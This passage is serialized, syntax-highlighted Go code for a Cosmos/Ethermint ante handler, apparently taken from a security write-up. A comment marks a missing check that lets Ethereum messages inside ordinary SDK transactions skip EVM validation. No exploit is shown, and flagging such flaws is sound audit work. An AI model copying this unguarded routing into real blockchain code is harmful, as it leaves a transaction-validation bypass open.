}\n}\n",[92927],{"type":25,"tag":264,"props":92928,"children":92929},{"__ignoreMap":7},[92930,92946,92971,92995,93012,93037,93063,93088,93111,93127,93183,93224,93250,93257,93303,93310,93356,93372,93402,93437,93489,93506,93514,93521,93550,93566,93574,93600,93608,93615,93627,93661,93707,93719,93726,93733,93740,93779,93786,93793,93800,93808,93815,93839,93863,93891,93916,93924,93957,93964,93976,94007,94062,94075,94083,94091,94099,94139,94147],{"type":25,"tag":271,"props":92931,"children":92932},{"class":13593,"line":13594},[92933,92937,92942],{"type":25,"tag":271,"props":92934,"children":92935},{"style":14289},[92936],{"type":30,"value":89416},{"type":25,"tag":271,"props":92938,"children":92939},{"style":13620},[92940],{"type":30,"value":92941}," NewAnteHandler",{"type":25,"tag":271,"props":92943,"children":92944},{"style":13625},[92945],{"type":30,"value":16609},{"type":25,"tag":271,"props":92947,"children":92948},{"class":13593,"line":11641},[92949,92954,92959,92963,92967],{"type":25,"tag":271,"props":92950,"children":92951},{"style":13598},[92952],{"type":30,"value":92953},"    ak",{"type":25,"tag":271,"props":92955,"children":92956},{"style":13609},[92957],{"type":30,"value":92958}," evmtypes",{"type":25,"tag":271,"props":92960,"children":92961},{"style":13625},[92962],{"type":30,"value":1860},{"type":25,"tag":271,"props":92964,"children":92965},{"style":13609},[92966],{"type":30,"value":92494},{"type":25,"tag":271,"props":92968,"children":92969},{"style":13625},[92970],{"type":30,"value":14351},{"type":25,"tag":271,"props":92972,"children":92973},{"class":13593,"line":14354},[92974,92979,92983,92987,92991],{"type":25,"tag":271,"props":92975,"children":92976},{"style":13598},[92977],{"type":30,"value":92978},"    bankKeeper",{"type":25,"tag":271,"props":92980,"children":92981},{"style":13609},[92982],{"type":30,"value":92958},{"type":25,"tag":271,"props":92984,"children":92985},{"style":13625},[92986],{"type":30,"value":1860},{"type":25,"tag":271,"props":92988,"children":92989},{"style":13609},[92990],{"type":30,"value":92567},{"type":25,"tag":271,"props":92992,"children":92993},{"style":13625},[92994],{"type":30,"value":14351},{"type":25,"tag":271,"props":92996,"children":92997},{"class":13593,"line":14391},[92998,93003,93008],{"type":25,"tag":271,"props":92999,"children":93000},{"style":13598},[93001],{"type":30,"value":93002},"    evmKeeper",{"type":25,"tag":271,"props":93004,"children":93005},{"style":13609},[93006],{"type":30,"value":93007}," EVMKeeper",{"type":25,"tag":271,"props":93009,"children":93010},{"style":13625},[93011],{"type":30,"value":14351},{"type":25,"tag":271,"props":93013,"children":93014},{"class":13593,"line":14400},[93015,93020,93025,93029,93033],{"type":25,"tag":271,"props":93016,"children":93017},{"style":13598},[93018],{"type":30,"value":93019},"    feeGrantKeeper",{"type":25,"tag":271,"props":93021,"children":93022},{"style":13609},[93023],{"type":30,"value":93024}," authante",{"type":25,"tag":271,"props":93026,"children":93027},{"style":13625},[93028],{"type":30,"value":1860},{"type":25,"tag":271,"props":93030,"children":93031},{"style":13609},[93032],{"type":30,"value":92584},{"type":25,"tag":271,"props":93034,"children":93035},{"style":13625},[93036],{"type":30,"value":14351},{"type":25,"tag":271,"props":93038,"children":93039},{"class":13593,"line":16406},[93040,93045,93050,93054,93059],{"type":25,"tag":271,"props":93041,"children":93042},{"style":13598},[93043],{"type":30,"value":93044},"    channelKeeper",{"type":25,"tag":271,"props":93046,"children":93047},{"style":13609},[93048],{"type":30,"value":93049}," channelkeeper",{"type":25,"tag":271,"props":93051,"children":93052},{"style":13625},[93053],{"type":30,"value":1860},{"type":25,"tag":271,"props":93055,"children":93056},{"style":13609},[93057],{"type":30,"value":93058},"Keeper",{"type":25,"tag":271,"props":93060,"children":93061},{"style":13625},[93062],{"type":30,"value":14351},{"type":25,"tag":271,"props":93064,"children":93065},{"class":13593,"line":16434},[93066,93071,93076,93080,93084],{"type":25,"tag":271,"props":93067,"children":93068},{"style":13598},[93069],{"type":30,"value":93070},"    signModeHandler",{"type":25,"tag":271,"props":93072,"children":93073},{"style":13609},[93074],{"type":30,"value":93075}," authsigning",{"type":25,"tag":271,"props":93077,"children":93078},{"style":13625},[93079],{"type":30,"value":1860},{"type":25,"tag":271,"props":93081,"children":93082},{"style":13609},[93083],{"type":30,"value":92752},{"type":25,"tag":271,"props":93085,"children":93086},{"style":13625},[93087],{"type":30,"value":14351},{"type":25,"tag":271,"props":93089,"children":93090},{"class":13593,"line":16447},[93091,93095,93099,93103,93107],{"type":25,"tag":271,"props":93092,"children":93093},{"style":13625},[93094],{"type":30,"value":14406},{"type":25,"tag":271,"props":93096,"children":93097},{"style":13609},[93098],{"type":30,"value":91843},{"type":25,"tag":271,"props":93100,"children":93101},{"style":13625},[93102],{"type":30,"value":1860},{"type":25,"tag":271,"props":93104,"children":93105},{"style":13609},[93106],{"type":30,"value":91583},{"type":25,"tag":271,"props":93108,"children":93109},{"style":13625},[93110],{"type":30,"value":16431},{"type":25,"tag":271,"props":93112,"children":93113},{"class":13593,"line":16465},[93114,93118,93123],{"type":25,"tag":271,"props":93115,"children":93116},{"style":16171},[93117],{"type":30,"value":30111},{"type":25,"tag":271,"props":93119,"children":93120},{"style":14289},[93121],{"type":30,"value":93122}," func",{"type":25,"tag":271,"props":93124,"children":93125},{"style":13625},[93126],{"type":30,"value":16609},{"type":25,"tag":271,"props":93128,"children":93129},{"class":13593,"line":16486},[93130,93134,93138,93142,93146,93150,93154,93158,93162,93166,93170,93175,93179],{"type":25,"tag":271,"props":93131,"children":93132},{"style":13598},[93133],{"type":30,"value":39296},{"type":25,"tag":271,"props":93135,"children":93136},{"style":13609},[93137],{"type":30,"value":91754},{"type":25,"tag":271,"props":93139,"children":93140},{"style":13625},[93141],{"type":30,"value":1860},{"type":25,"tag":271,"props":93143,"children":93144},{"style":13609},[93145],{"type":30,"value":89465},{"type":25,"tag":271,"props":93147,"children":93148},{"style":13625},[93149],{"type":30,"value":44},{"type":25,"tag":271,"props":93151,"children":93152},{"style":13598},[93153],{"type":30,"value":92294},{"type":25,"tag":271,"props":93155,"children":93156},{"style":13609},[93157],{"type":30,"value":91754},{"type":25,"tag":271,"props":93159,"children":93160},{"style":13625},[93161],{"type":30,"value":1860},{"type":25,"tag":271,"props":93163,"children":93164},{"style":13609},[93165],{"type":30,"value":91787},{"type":25,"tag":271,"props":93167,"children":93168},{"style":13625},[93169],{"type":30,"value":44},{"type":25,"tag":271,"props":93171,"children":93172},{"style":13598},[93173],{"type":30,"value":93174},"sim",{"type":25,"tag":271,"props":93176,"children":93177},{"style":13609},[93178],{"type":30,"value":25175},{"type":25,"tag":271,"props":93180,"children":93181},{"style":13625},[93182],{"type":30,"value":14351},{"type":25,"tag":271,"props":93184,"children":93185},{"class":13593,"line":16495},[93186,93191,93196,93200,93204,93208,93212,93216,93220],{"type":25,"tag":271,"props":93187,"children":93188},{"style":13625},[93189],{"type":30,"value":93190},"    ) (",{"type":25,"tag":271,"props":93192,"children":93193},{"style":13598},[93194],{"type":30,"value":93195},"newCtx",{"type":25,"tag":271,"props":93197,"children":93198},{"style":13609},[93199],{"type":30,"value":91754},{"type":25,"tag":271,"props":93201,"children":93202},{"style":13625},[93203],{"type":30,"value":1860},{"type":25,"tag":271,"props":93205,"children":93206},{"style":13609},[93207],{"type":30,"value":89465},{"type":25,"tag":271,"props":93209,"children":93210},{"style":13625},[93211],{"type":30,"value":44},{"type":25,"tag":271,"props":93213,"children":93214},{"style":13598},[93215],{"type":30,"value":61536},{"type":25,"tag":271,"props":93217,"children":93218},{"style":13609},[93219],{"type":30,"value":27998},{"type":25,"tag":271,"props":93221,"children":93222},{"style":13625},[93223],{"type":30,"value":27925},{"type":25,"tag":271,"props":93225,"children":93226},{"class":13593,"line":16744},[93227,93232,93237,93241,93245],{"type":25,"tag":271,"props":93228,"children":93229},{"style":14289},[93230],{"type":30,"value":93231},"        var",{"type":25,"tag":271,"props":93233,"children":93234},{"style":13598},[93235],{"type":30,"value":93236}," anteHandler",{"type":25,"tag":271,"props":93238,"children":93239},{"style":13609},[93240],{"type":30,"value":91754},{"type":25,"tag":271,"props":93242,"children":93243},{"style":13625},[93244],{"type":30,"value":1860},{"type":25,"tag":271,"props":93246,"children":93247},{"style":13609},[93248],{"type":30,"value":93249},"AnteHandler\n",{"type":25,"tag":271,"props":93251,"children":93252},{"class":13593,"line":16761},[93253],{"type":25,"tag":271,"props":93254,"children":93255},{"emptyLinePlaceholder":18},[93256],{"type":30,"value":16829},{"type":25,"tag":271,"props":93258,"children":93259},{"class":13593,"line":16778},[93260,93265,93270,93274,93278,93282,93287,93291,93295,93299],{"type":25,"tag":271,"props":93261,"children":93262},{"style":16171},[93263],{"type":30,"value":93264},"        defer",{"type":25,"tag":271,"props":93266,"children":93267},{"style":13620},[93268],{"type":30,"value":93269}," Recover",{"type":25,"tag":271,"props":93271,"children":93272},{"style":13625},[93273],{"type":30,"value":394},{"type":25,"tag":271,"props":93275,"children":93276},{"style":13598},[93277],{"type":30,"value":33401},{"type":25,"tag":271,"props":93279,"children":93280},{"style":13625},[93281],{"type":30,"value":1860},{"type":25,"tag":271,"props":93283,"children":93284},{"style":13620},[93285],{"type":30,"value":93286},"Logger",{"type":25,"tag":271,"props":93288,"children":93289},{"style":13625},[93290],{"type":30,"value":31497},{"type":25,"tag":271,"props":93292,"children":93293},{"style":13603},[93294],{"type":30,"value":13632},{"type":25,"tag":271,"props":93296,"children":93297},{"style":13598},[93298],{"type":30,"value":61536},{"type":25,"tag":271,"props":93300,"children":93301},{"style":13625},[93302],{"type":30,"value":16299},{"type":25,"tag":271,"props":93304,"children":93305},{"class":13593,"line":16791},[93306],{"type":25,"tag":271,"props":93307,"children":93308},{"emptyLinePlaceholder":18},[93309],{"type":30,"value":16829},{"type":25,"tag":271,"props":93311,"children":93312},{"class":13593,"line":16800},[93313,93318,93322,93326,93330,93334,93338,93343,93347,93352],{"type":25,"tag":271,"props":93314,"children":93315},{"style":13598},[93316],{"type":30,"value":93317},"        txWithExtensions",{"type":25,"tag":271,"props":93319,"children":93320},{"style":13625},[93321],{"type":30,"value":44},{"type":25,"tag":271,"props":93323,"children":93324},{"style":13598},[93325],{"type":30,"value":91880},{"type":25,"tag":271,"props":93327,"children":93328},{"style":13603},[93329],{"type":30,"value":89532},{"type":25,"tag":271,"props":93331,"children":93332},{"style":13598},[93333],{"type":30,"value":81142},{"type":25,"tag":271,"props":93335,"children":93336},{"style":13625},[93337],{"type":30,"value":91893},{"type":25,"tag":271,"props":93339,"children":93340},{"style":13609},[93341],{"type":30,"value":93342},"authante",{"type":25,"tag":271,"props":93344,"children":93345},{"style":13625},[93346],{"type":30,"value":1860},{"type":25,"tag":271,"props":93348,"children":93349},{"style":13609},[93350],{"type":30,"value":93351},"HasExtensionOptionsTx",{"type":25,"tag":271,"props":93353,"children":93354},{"style":13625},[93355],{"type":30,"value":16299},{"type":25,"tag":271,"props":93357,"children":93358},{"class":13593,"line":16823},[93359,93363,93368],{"type":25,"tag":271,"props":93360,"children":93361},{"style":16171},[93362],{"type":30,"value":16412},{"type":25,"tag":271,"props":93364,"children":93365},{"style":13598},[93366],{"type":30,"value":93367}," ok",{"type":25,"tag":271,"props":93369,"children":93370},{"style":13625},[93371],{"type":30,"value":16431},{"type":25,"tag":271,"props":93373,"children":93374},{"class":13593,"line":16832},[93375,93380,93384,93389,93393,93398],{"type":25,"tag":271,"props":93376,"children":93377},{"style":13598},[93378],{"type":30,"value":93379},"            opts",{"type":25,"tag":271,"props":93381,"children":93382},{"style":13603},[93383],{"type":30,"value":89532},{"type":25,"tag":271,"props":93385,"children":93386},{"style":13598},[93387],{"type":30,"value":93388}," txWithExtensions",{"type":25,"tag":271,"props":93390,"children":93391},{"style":13625},[93392],{"type":30,"value":1860},{"type":25,"tag":271,"props":93394,"children":93395},{"style":13620},[93396],{"type":30,"value":93397},"GetExtensionOptions",{"type":25,"tag":271,"props":93399,"children":93400},{"style":13625},[93401],{"type":30,"value":20857},{"type":25,"tag":271,"props":93403,"children":93404},{"class":13593,"line":16841},[93405,93409,93413,93417,93421,93425,93429,93433],{"type":25,"tag":271,"props":93406,"children":93407},{"style":16171},[93408],{"type":30,"value":71916},{"type":25,"tag":271,"props":93410,"children":93411},{"style":13620},[93412],{"type":30,"value":21678},{"type":25,"tag":271,"props":93414,"children":93415},{"style":13625},[93416],{"type":30,"value":394},{"type":25,"tag":271,"props":93418,"children":93419},{"style":13598},[93420],{"type":30,"value":61678},{"type":25,"tag":271,"props":93422,"children":93423},{"style":13625},[93424],{"type":30,"value":14406},{"type":25,"tag":271,"props":93426,"children":93427},{"style":13603},[93428],{"type":30,"value":23586},{"type":25,"tag":271,"props":93430,"children":93431},{"style":16187},[93432],{"type":30,"value":16190},{"type":25,"tag":271,"props":93434,"children":93435},{"style":13625},[93436],{"type":30,"value":16431},{"type":25,"tag":271,"props":93438,"children":93439},{"class":13593,"line":16907},[93440,93445,93450,93454,93459,93463,93467,93471,93476,93480,93485],{"type":25,"tag":271,"props":93441,"children":93442},{"style":16171},[93443],{"type":30,"value":93444},"                switch",{"type":25,"tag":271,"props":93446,"children":93447},{"style":13598},[93448],{"type":30,"value":93449}," typeURL",{"type":25,"tag":271,"props":93451,"children":93452},{"style":13603},[93453],{"type":30,"value":89532},{"type":25,"tag":271,"props":93455,"children":93456},{"style":13598},[93457],{"type":30,"value":93458}," opts",{"type":25,"tag":271,"props":93460,"children":93461},{"style":13625},[93462],{"type":30,"value":5604},{"type":25,"tag":271,"props":93464,"children":93465},{"style":16187},[93466],{"type":30,"value":953},{"type":25,"tag":271,"props":93468,"children":93469},{"style":13625},[93470],{"type":30,"value":63464},{"type":25,"tag":271,"props":93472,"children":93473},{"style":13620},[93474],{"type":30,"value":93475},"GetTypeUrl",{"type":25,"tag":271,"props":93477,"children":93478},{"style":13625},[93479],{"type":30,"value":41559},{"type":25,"tag":271,"props":93481,"children":93482},{"style":13598},[93483],{"type":30,"value":93484},"typeURL",{"type":25,"tag":271,"props":93486,"children":93487},{"style":13625},[93488],{"type":30,"value":16431},{"type":25,"tag":271,"props":93490,"children":93491},{"class":13593,"line":16915},[93492,93497,93502],{"type":25,"tag":271,"props":93493,"children":93494},{"style":16171},[93495],{"type":30,"value":93496},"                case",{"type":25,"tag":271,"props":93498,"children":93499},{"style":17388},[93500],{"type":30,"value":93501}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":25,"tag":271,"props":93503,"children":93504},{"style":13625},[93505],{"type":30,"value":18699},{"type":25,"tag":271,"props":93507,"children":93508},{"class":13593,"line":16945},[93509],{"type":25,"tag":271,"props":93510,"children":93511},{"style":14385},[93512],{"type":30,"value":93513},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":25,"tag":271,"props":93515,"children":93516},{"class":13593,"line":16953},[93517],{"type":25,"tag":271,"props":93518,"children":93519},{"emptyLinePlaceholder":18},[93520],{"type":30,"value":16829},{"type":25,"tag":271,"props":93522,"children":93523},{"class":13593,"line":16984},[93524,93529,93533,93537,93541,93546],{"type":25,"tag":271,"props":93525,"children":93526},{"style":13598},[93527],{"type":30,"value":93528},"                    anteHandler",{"type":25,"tag":271,"props":93530,"children":93531},{"style":13603},[93532],{"type":30,"value":16155},{"type":25,"tag":271,"props":93534,"children":93535},{"style":13598},[93536],{"type":30,"value":91754},{"type":25,"tag":271,"props":93538,"children":93539},{"style":13625},[93540],{"type":30,"value":1860},{"type":25,"tag":271,"props":93542,"children":93543},{"style":13620},[93544],{"type":30,"value":93545},"ChainAnteDecorators",{"type":25,"tag":271,"props":93547,"children":93548},{"style":13625},[93549],{"type":30,"value":16609},{"type":25,"tag":271,"props":93551,"children":93552},{"class":13593,"line":16992},[93553,93558,93562],{"type":25,"tag":271,"props":93554,"children":93555},{"style":13620},[93556],{"type":30,"value":93557},"                        NewEthSetUpContextDecorator",{"type":25,"tag":271,"props":93559,"children":93560},{"style":13625},[93561],{"type":30,"value":31497},{"type":25,"tag":271,"props":93563,"children":93564},{"style":14385},[93565],{"type":30,"value":92408},{"type":25,"tag":271,"props":93567,"children":93568},{"class":13593,"line":17052},[93569],{"type":25,"tag":271,"props":93570,"children":93571},{"style":13603},[93572],{"type":30,"value":93573},"                        ...\n",{"type":25,"tag":271,"props":93575,"children":93576},{"class":13593,"line":22168},[93577,93582,93586,93591,93595],{"type":25,"tag":271,"props":93578,"children":93579},{"style":13620},[93580],{"type":30,"value":93581},"                        NewEthIncrementSenderSequenceDecorator",{"type":25,"tag":271,"props":93583,"children":93584},{"style":13625},[93585],{"type":30,"value":394},{"type":25,"tag":271,"props":93587,"children":93588},{"style":13598},[93589],{"type":30,"value":93590},"ak",{"type":25,"tag":271,"props":93592,"children":93593},{"style":13625},[93594],{"type":30,"value":28299},{"type":25,"tag":271,"props":93596,"children":93597},{"style":14385},[93598],{"type":30,"value":93599},"// innermost AnteDecorator.\n",{"type":25,"tag":271,"props":93601,"children":93602},{"class":13593,"line":22186},[93603],{"type":25,"tag":271,"props":93604,"children":93605},{"style":13625},[93606],{"type":30,"value":93607},"                    )\n",{"type":25,"tag":271,"props":93609,"children":93610},{"class":13593,"line":22231},[93611],{"type":25,"tag":271,"props":93612,"children":93613},{"emptyLinePlaceholder":18},[93614],{"type":30,"value":16829},{"type":25,"tag":271,"props":93616,"children":93617},{"class":13593,"line":22337},[93618,93623],{"type":25,"tag":271,"props":93619,"children":93620},{"style":16171},[93621],{"type":30,"value":93622},"                default",{"type":25,"tag":271,"props":93624,"children":93625},{"style":13625},[93626],{"type":30,"value":18699},{"type":25,"tag":271,"props":93628,"children":93629},{"class":13593,"line":36608},[93630,93635,93639,93643,93648,93652,93657],{"type":25,"tag":271,"props":93631,"children":93632},{"style":16171},[93633],{"type":30,"value":93634},"                    return",{"type":25,"tag":271,"props":93636,"children":93637},{"style":13598},[93638],{"type":30,"value":38953},{"type":25,"tag":271,"props":93640,"children":93641},{"style":13625},[93642],{"type":30,"value":44},{"type":25,"tag":271,"props":93644,"children":93645},{"style":13598},[93646],{"type":30,"value":93647},"stacktrace",{"type":25,"tag":271,"props":93649,"children":93650},{"style":13625},[93651],{"type":30,"value":1860},{"type":25,"tag":271,"props":93653,"children":93654},{"style":13620},[93655],{"type":30,"value":93656},"Propagate",{"type":25,"tag":271,"props":93658,"children":93659},{"style":13625},[93660],{"type":30,"value":16609},{"type":25,"tag":271,"props":93662,"children":93663},{"class":13593,"line":36643},[93664,93669,93673,93677,93681,93686,93690,93695,93699,93703],{"type":25,"tag":271,"props":93665,"children":93666},{"style":13598},[93667],{"type":30,"value":93668},"                        sdkerrors",{"type":25,"tag":271,"props":93670,"children":93671},{"style":13625},[93672],{"type":30,"value":1860},{"type":25,"tag":271,"props":93674,"children":93675},{"style":13620},[93676],{"type":30,"value":91959},{"type":25,"tag":271,"props":93678,"children":93679},{"style":13625},[93680],{"type":30,"value":394},{"type":25,"tag":271,"props":93682,"children":93683},{"style":13598},[93684],{"type":30,"value":93685},"sdkerrors",{"type":25,"tag":271,"props":93687,"children":93688},{"style":13625},[93689],{"type":30,"value":1860},{"type":25,"tag":271,"props":93691,"children":93692},{"style":13598},[93693],{"type":30,"value":93694},"ErrUnknownExtensionOptions",{"type":25,"tag":271,"props":93696,"children":93697},{"style":13625},[93698],{"type":30,"value":44},{"type":25,"tag":271,"props":93700,"children":93701},{"style":13598},[93702],{"type":30,"value":93484},{"type":25,"tag":271,"props":93704,"children":93705},{"style":13625},[93706],{"type":30,"value":19860},{"type":25,"tag":271,"props":93708,"children":93709},{"class":13593,"line":36651},[93710,93715],{"type":25,"tag":271,"props":93711,"children":93712},{"style":17388},[93713],{"type":30,"value":93714},"                        \"rejecting tx with unsupported extension option\"",{"type":25,"tag":271,"props":93716,"children":93717},{"style":13625},[93718],{"type":30,"value":14351},{"type":25,"tag":271,"props":93720,"children":93721},{"class":13593,"line":36659},[93722],{"type":25,"tag":271,"props":93723,"children":93724},{"style":13625},[93725],{"type":30,"value":93607},{"type":25,"tag":271,"props":93727,"children":93728},{"class":13593,"line":36668},[93729],{"type":25,"tag":271,"props":93730,"children":93731},{"style":13625},[93732],{"type":30,"value":84185},{"type":25,"tag":271,"props":93734,"children":93735},{"class":13593,"line":36710},[93736],{"type":25,"tag":271,"props":93737,"children":93738},{"emptyLinePlaceholder":18},[93739],{"type":30,"value":16829},{"type":25,"tag":271,"props":93741,"children":93742},{"class":13593,"line":36743},[93743,93747,93751,93755,93759,93763,93767,93771,93775],{"type":25,"tag":271,"props":93744,"children":93745},{"style":16171},[93746],{"type":30,"value":73844},{"type":25,"tag":271,"props":93748,"children":93749},{"style":13620},[93750],{"type":30,"value":93236},{"type":25,"tag":271,"props":93752,"children":93753},{"style":13625},[93754],{"type":30,"value":394},{"type":25,"tag":271,"props":93756,"children":93757},{"style":13598},[93758],{"type":30,"value":33401},{"type":25,"tag":271,"props":93760,"children":93761},{"style":13625},[93762],{"type":30,"value":44},{"type":25,"tag":271,"props":93764,"children":93765},{"style":13598},[93766],{"type":30,"value":92294},{"type":25,"tag":271,"props":93768,"children":93769},{"style":13625},[93770],{"type":30,"value":44},{"type":25,"tag":271,"props":93772,"children":93773},{"style":13598},[93774],{"type":30,"value":93174},{"type":25,"tag":271,"props":93776,"children":93777},{"style":13625},[93778],{"type":30,"value":16299},{"type":25,"tag":271,"props":93780,"children":93781},{"class":13593,"line":36751},[93782],{"type":25,"tag":271,"props":93783,"children":93784},{"style":13625},[93785],{"type":30,"value":72000},{"type":25,"tag":271,"props":93787,"children":93788},{"class":13593,"line":36759},[93789],{"type":25,"tag":271,"props":93790,"children":93791},{"style":13625},[93792],{"type":30,"value":16492},{"type":25,"tag":271,"props":93794,"children":93795},{"class":13593,"line":36768},[93796],{"type":25,"tag":271,"props":93797,"children":93798},{"emptyLinePlaceholder":18},[93799],{"type":30,"value":16829},{"type":25,"tag":271,"props":93801,"children":93802},{"class":13593,"line":36844},[93803],{"type":25,"tag":271,"props":93804,"children":93805},{"style":14385},[93806],{"type":30,"value":93807},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":25,"tag":271,"props":93809,"children":93810},{"class":13593,"line":36877},[93811],{"type":25,"tag":271,"props":93812,"children":93813},{"emptyLinePlaceholder":18},[93814],{"type":30,"value":16829},{"type":25,"tag":271,"props":93816,"children":93817},{"class":13593,"line":36885},[93818,93823,93827,93831,93835],{"type":25,"tag":271,"props":93819,"children":93820},{"style":16171},[93821],{"type":30,"value":93822},"        switch",{"type":25,"tag":271,"props":93824,"children":93825},{"style":13598},[93826],{"type":30,"value":81142},{"type":25,"tag":271,"props":93828,"children":93829},{"style":13625},[93830],{"type":30,"value":91893},{"type":25,"tag":271,"props":93832,"children":93833},{"style":14289},[93834],{"type":30,"value":45869},{"type":25,"tag":271,"props":93836,"children":93837},{"style":13625},[93838],{"type":30,"value":27925},{"type":25,"tag":271,"props":93840,"children":93841},{"class":13593,"line":36893},[93842,93847,93851,93855,93859],{"type":25,"tag":271,"props":93843,"children":93844},{"style":16171},[93845],{"type":30,"value":93846},"        case",{"type":25,"tag":271,"props":93848,"children":93849},{"style":13609},[93850],{"type":30,"value":91754},{"type":25,"tag":271,"props":93852,"children":93853},{"style":13625},[93854],{"type":30,"value":1860},{"type":25,"tag":271,"props":93856,"children":93857},{"style":13609},[93858],{"type":30,"value":91787},{"type":25,"tag":271,"props":93860,"children":93861},{"style":13625},[93862],{"type":30,"value":18699},{"type":25,"tag":271,"props":93864,"children":93865},{"class":13593,"line":36930},[93866,93871,93875,93879,93883,93887],{"type":25,"tag":271,"props":93867,"children":93868},{"style":13598},[93869],{"type":30,"value":93870},"            anteHandler",{"type":25,"tag":271,"props":93872,"children":93873},{"style":13603},[93874],{"type":30,"value":16155},{"type":25,"tag":271,"props":93876,"children":93877},{"style":13598},[93878],{"type":30,"value":91754},{"type":25,"tag":271,"props":93880,"children":93881},{"style":13625},[93882],{"type":30,"value":1860},{"type":25,"tag":271,"props":93884,"children":93885},{"style":13620},[93886],{"type":30,"value":93545},{"type":25,"tag":271,"props":93888,"children":93889},{"style":13625},[93890],{"type":30,"value":16609},{"type":25,"tag":271,"props":93892,"children":93893},{"class":13593,"line":36943},[93894,93899,93903,93908,93912],{"type":25,"tag":271,"props":93895,"children":93896},{"style":13598},[93897],{"type":30,"value":93898},"                authante",{"type":25,"tag":271,"props":93900,"children":93901},{"style":13625},[93902],{"type":30,"value":1860},{"type":25,"tag":271,"props":93904,"children":93905},{"style":13620},[93906],{"type":30,"value":93907},"NewSetUpContextDecorator",{"type":25,"tag":271,"props":93909,"children":93910},{"style":13625},[93911],{"type":30,"value":31497},{"type":25,"tag":271,"props":93913,"children":93914},{"style":14385},[93915],{"type":30,"value":92408},{"type":25,"tag":271,"props":93917,"children":93918},{"class":13593,"line":36956},[93919],{"type":25,"tag":271,"props":93920,"children":93921},{"style":13603},[93922],{"type":30,"value":93923},"                 ...\n",{"type":25,"tag":271,"props":93925,"children":93926},{"class":13593,"line":36969},[93927,93931,93935,93940,93944,93948,93952],{"type":25,"tag":271,"props":93928,"children":93929},{"style":13598},[93930],{"type":30,"value":93898},{"type":25,"tag":271,"props":93932,"children":93933},{"style":13625},[93934],{"type":30,"value":1860},{"type":25,"tag":271,"props":93936,"children":93937},{"style":13620},[93938],{"type":30,"value":93939},"NewIncrementSequenceDecorator",{"type":25,"tag":271,"props":93941,"children":93942},{"style":13625},[93943],{"type":30,"value":394},{"type":25,"tag":271,"props":93945,"children":93946},{"style":13598},[93947],{"type":30,"value":93590},{"type":25,"tag":271,"props":93949,"children":93950},{"style":13625},[93951],{"type":30,"value":28299},{"type":25,"tag":271,"props":93953,"children":93954},{"style":14385},[93955],{"type":30,"value":93956},"// innermost AnteDecorator\n",{"type":25,"tag":271,"props":93958,"children":93959},{"class":13593,"line":37023},[93960],{"type":25,"tag":271,"props":93961,"children":93962},{"style":13625},[93963],{"type":30,"value":90628},{"type":25,"tag":271,"props":93965,"children":93966},{"class":13593,"line":37032},[93967,93972],{"type":25,"tag":271,"props":93968,"children":93969},{"style":16171},[93970],{"type":30,"value":93971},"        default",{"type":25,"tag":271,"props":93973,"children":93974},{"style":13625},[93975],{"type":30,"value":18699},{"type":25,"tag":271,"props":93977,"children":93978},{"class":13593,"line":45393},[93979,93983,93987,93991,93995,93999,94003],{"type":25,"tag":271,"props":93980,"children":93981},{"style":16171},[93982],{"type":30,"value":92189},{"type":25,"tag":271,"props":93984,"children":93985},{"style":13598},[93986],{"type":30,"value":38953},{"type":25,"tag":271,"props":93988,"children":93989},{"style":13625},[93990],{"type":30,"value":44},{"type":25,"tag":271,"props":93992,"children":93993},{"style":13598},[93994],{"type":30,"value":93647},{"type":25,"tag":271,"props":93996,"children":93997},{"style":13625},[93998],{"type":30,"value":1860},{"type":25,"tag":271,"props":94000,"children":94001},{"style":13620},[94002],{"type":30,"value":93656},{"type":25,"tag":271,"props":94004,"children":94005},{"style":13625},[94006],{"type":30,"value":16609},{"type":25,"tag":271,"props":94008,"children":94009},{"class":13593,"line":45414},[94010,94015,94019,94024,94028,94032,94036,94041,94045,94050,94054,94058],{"type":25,"tag":271,"props":94011,"children":94012},{"style":13598},[94013],{"type":30,"value":94014},"                sdkerrors",{"type":25,"tag":271,"props":94016,"children":94017},{"style":13625},[94018],{"type":30,"value":1860},{"type":25,"tag":271,"props":94020,"children":94021},{"style":13620},[94022],{"type":30,"value":94023},"Wrapf",{"type":25,"tag":271,"props":94025,"children":94026},{"style":13625},[94027],{"type":30,"value":394},{"type":25,"tag":271,"props":94029,"children":94030},{"style":13598},[94031],{"type":30,"value":93685},{"type":25,"tag":271,"props":94033,"children":94034},{"style":13625},[94035],{"type":30,"value":1860},{"type":25,"tag":271,"props":94037,"children":94038},{"style":13598},[94039],{"type":30,"value":94040},"ErrUnknownRequest",{"type":25,"tag":271,"props":94042,"children":94043},{"style":13625},[94044],{"type":30,"value":44},{"type":25,"tag":271,"props":94046,"children":94047},{"style":17388},[94048],{"type":30,"value":94049},"\"invalid transaction type: %T\"",{"type":25,"tag":271,"props":94051,"children":94052},{"style":13625},[94053],{"type":30,"value":44},{"type":25,"tag":271,"props":94055,"children":94056},{"style":13598},[94057],{"type":30,"value":92294},{"type":25,"tag":271,"props":94059,"children":94060},{"style":13625},[94061],{"type":30,"value":19860},{"type":25,"tag":271,"props":94063,"children":94065},{"class":13593,"line":94064},53,[94066,94071],{"type":25,"tag":271,"props":94067,"children":94068},{"style":17388},[94069],{"type":30,"value":94070},"                \"transaction is not an SDK tx\"",{"type":25,"tag":271,"props":94072,"children":94073},{"style":13625},[94074],{"type":30,"value":14351},{"type":25,"tag":271,"props":94076,"children":94078},{"class":13593,"line":94077},54,[94079],{"type":25,"tag":271,"props":94080,"children":94081},{"style":13625},[94082],{"type":30,"value":90628},{"type":25,"tag":271,"props":94084,"children":94086},{"class":13593,"line":94085},55,[94087],{"type":25,"tag":271,"props":94088,"children":94089},{"style":13625},[94090],{"type":30,"value":16492},{"type":25,"tag":271,"props":94092,"children":94094},{"class":13593,"line":94093},56,[94095],{"type":25,"tag":271,"props":94096,"children":94097},{"emptyLinePlaceholder":18},[94098],{"type":30,"value":16829},{"type":25,"tag":271,"props":94100,"children":94102},{"class":13593,"line":94101},57,[94103,94107,94111,94115,94119,94123,94127,94131,94135],{"type":25,"tag":271,"props":94104,"children":94105},{"style":16171},[94106],{"type":30,"value":28866},{"type":25,"tag":271,"props":94108,"children":94109},{"style":13620},[94110],{"type":30,"value":93236},{"type":25,"tag":271,"props":94112,"children":94113},{"style":13625},[94114],{"type":30,"value":394},{"type":25,"tag":271,"props":94116,"children":94117},{"style":13598},[94118],{"type":30,"value":33401},{"type":25,"tag":271,"props":94120,"children":94121},{"style":13625},[94122],{"type":30,"value":44},{"type":25,"tag":271,"props":94124,"children":94125},{"s